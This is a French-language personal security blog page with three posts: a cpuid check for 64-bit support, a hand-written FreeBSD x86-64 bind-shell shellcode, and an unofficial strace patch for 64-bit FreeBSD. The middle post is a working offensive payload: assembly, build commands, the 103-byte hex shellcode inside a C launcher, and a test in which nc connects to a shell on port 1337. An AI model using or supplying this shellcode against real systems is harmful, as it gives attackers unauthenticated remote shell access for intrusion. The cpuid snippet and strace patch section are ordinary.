cpuid is your friend
Introduction
A un moment donné faut se tenir à jour, j'entends par là utiliser des OS peut être pas de qualité,
mais qui sont au goût du jour (Seven 64bits), histoire de pouvoir jouer avec des rookits par exemple, seul hic :
"Merde mon proc il supporte le 64 bits ?"
C'est aprè avoir vu un joli failed (à se demander si les mecs qui codent des FakeAV allument leur cerveau quand
ils codent ), que cpuid est la réponse à ma question.
Code
Je poste un bout de code qui pourra peut être servir à d'autre qu'à moi, même si des outils le font très bien.
Mais on aime souvent réinventer la roue :
#include <stdio.h> int main(void) { unsigned int code = 0x80000001; unsigned int a, b, c, d; __asm__ volatile ("cpuid" : "=a"(a), "=b"(b), "=c"(c), "=d"(d) : "a"(code)); if (d & (1 << 29)) printf("64 bit available\n"); else printf("64 bit not available\n"); return (0); }
Code simpliste juste pour checker si le long mode est disponible ou non sur le processeur.
Bind sh on freebsd 64 bits
J'ai souhaité écrire un shellcode qui bind un shell sur le port 1337, le tout sur FreeBSD architecture 64 Bits : Qui sait ça servira peut être à quelqu'un. Pour ma part si je l'ai écrit c'etait pour le fun et qu'il était introuvable à travers le net (tout du moins sur les sites Exploit-db ou encore Shell-Storm).
Avant de se lancer dans le code récupérons les informations nécessaire à son écriture :
% cat /usr/src/sys/kern/syscalls.master | grep 'socket\|bind\|listen\|accept\|dup2\|execve'
30 AUE_ACCEPT STD { int accept(int s, \
59 AUE_EXECVE STD { int execve(char *fname, char **argv, \
90 AUE_DUP2 STD { int dup2(u_int from, u_int to); }
97 AUE_SOCKET STD { int socket(int domain, int type, \
104 AUE_BIND STD { int bind(int s, caddr_t name, \
106 AUE_LISTEN STD { int listen(int s, int backlog); }
Code :
# socket(AF_INET, SOCK_STREAM,IPPROTO_TCP)
push $0x61
pop %rax
push $0x6
pop %rdx
push $0x2
pop %rdi
push $0x1
pop %rsi
syscall
# bind(socket, server, sizeof(server))
mov %rax,%rdi
push $0x68
pop %rax
push $0x39050102
mov %rsp,%rsi
push $0x10
pop %rdx
syscall
# listen(socket, 1)
push $0x1
pop %rsi
push $0x6A
pop %rax
syscall
# accept(socket, 0, 0)
xor %rsi, %rsi
xor %rdx, %rdx
push $0x1e
pop %rax
syscall
# dup2 stdin
# dup2 stdout
# dup2 stderr
mov %rax,%rdi
push $0x5a
pop %rax
push $0x2
pop %rsi
syscall
dec %rsi
push $0x5a
pop %rax
syscall
dec %rsi
push $0x5a
pop %rax
syscall
# execve("/bin/sh", ["/bin/sh"], NULL
push $0x3b
pop %rax
cltd
mov $0x68732f2f6e69622f,%rbx
push %rdx
push %rbx
push %rsp
pop %rdi
push %rdx
push %rdi
push %rsp
pop %rsi
syscall
Pour le compiler :
as -o bind_sh.o bind_sh.s
ld -o bind_sh bind_sh.o
Le shellcode en lui même :
int main() { const char *shcode = "\x6a\x61\x58\x6a" "\x06\x5a\x6a\x02\x5f\x6a\x01\x5e\x0f" "\x05\x48\x89\xc7\x6a\x68\x58\x68\x02" "\x01\x05\x39\x48\x89\xe6\x6a\x10\x5a" "\x0f\x05\x6a\x01\x5e\x6a\x6a\x58\x0f" "\x05\x48\x31\xf6\x48\x31\xd2\x6a\x1e" "\x58\x0f\x05\x48\x89\xc7\x6a\x5a\x58" "\x6a\x02\x5e\x0f\x05\x48\xff\xce\x6a" "\x5a\x58\x0f\x05\x48\xff\xce\x6a\x5a" "\x58\x0f\x05\x6a\x3b\x58\x99\x48\xbb" "\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52" "\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"; printf("Size = %d\n",strlen(shcode)); (*(void (*)()) shcode)(); }
Test :
% gcc bind_sh.c -o bind_sh
% ./bind_sh
Size = 103
Dans un autre terminal :
% sockstat -4 | grep bind_sh
w4kfu bind_sh 12151 3 tcp4 *:1337 *:*
% nc localhost 1337
ls
bind_sh
bind_sh.o
bind_sh.s
bind_sh.c
Un patch strace 64 bits pour FreeBSD
La plupart du temps les challenges en rapport avec la sécurité informatique sont destinés aux systémes d'exploitation GNU/Linux.
Des crackme pour FreeBSD, à part si on se les fait soit même ça n'existe pas. On peut bien sur virtualiser à l'aide de qemu, virtualbox mais il faut l'avouer c'est coûteux.
Mais sous FreeBSD, nous avons linuxulator une couche d'émulation permettant de faire tourner des applis Linuxienne sous notre os à la boule rouge.
On charge le module :
#kldload linux
C'est bien gentil de pouvoir éxécuter, mais on aimerait pouvoir surveiller les différents syscalls de notre application.
Sous FreeBSD, nous avons l'excellent outil truss, ainsi que Dtrace mais lorsque je traçais des binaires, je n'aimais pas l'affichage :
linux_brk(0x0,0x28069fd0,0x8048440,0xafe9fbff,0xbfbfffac,0x6) = 134520832 (0x804a000)
linux_newuname(0xbfbfe4e2,0x2806a284,0x28069fd0,0x2806a648,0x2806a648,0x6) = 0 (0x0)
Le linux à chaque début de ligne me déplaisait, c'est alors que je sors strace mais là c'est le drame strace n'est compatible que pour archi i386.
J'ai donc décidé de me lancer dans l'ecriture d'un patch non-officiel.
Premièrement placez vous dans /usr/ports/devel/strace et commentez dans le fichier Makefile la ligne suivante :
ONLY_FOR_ARCHS= i386
On lance la commande make, histoire que ca fetch comme il faut les fichiers dont on a besoin, mais une fois le processus de configuration lancé ça foire. C'est là que le semblant de patch que j'ai écrit rentre en jeux :
# cd /usr/ports/devel/strace/work
# fetch http://blog.w4kfu.com/public/strace_64bits.patch
# patch -p0 < strace_64bits.patch
Il ne vous restera qu'à relancer un configure puis de make.
# cd strace-4.5.18
# ./configure
# make
Attention ce patch n'a été testé que avec strace version 4.5.18 ! et il n'est surement pas fonctionnel à 100%.
Pages : 1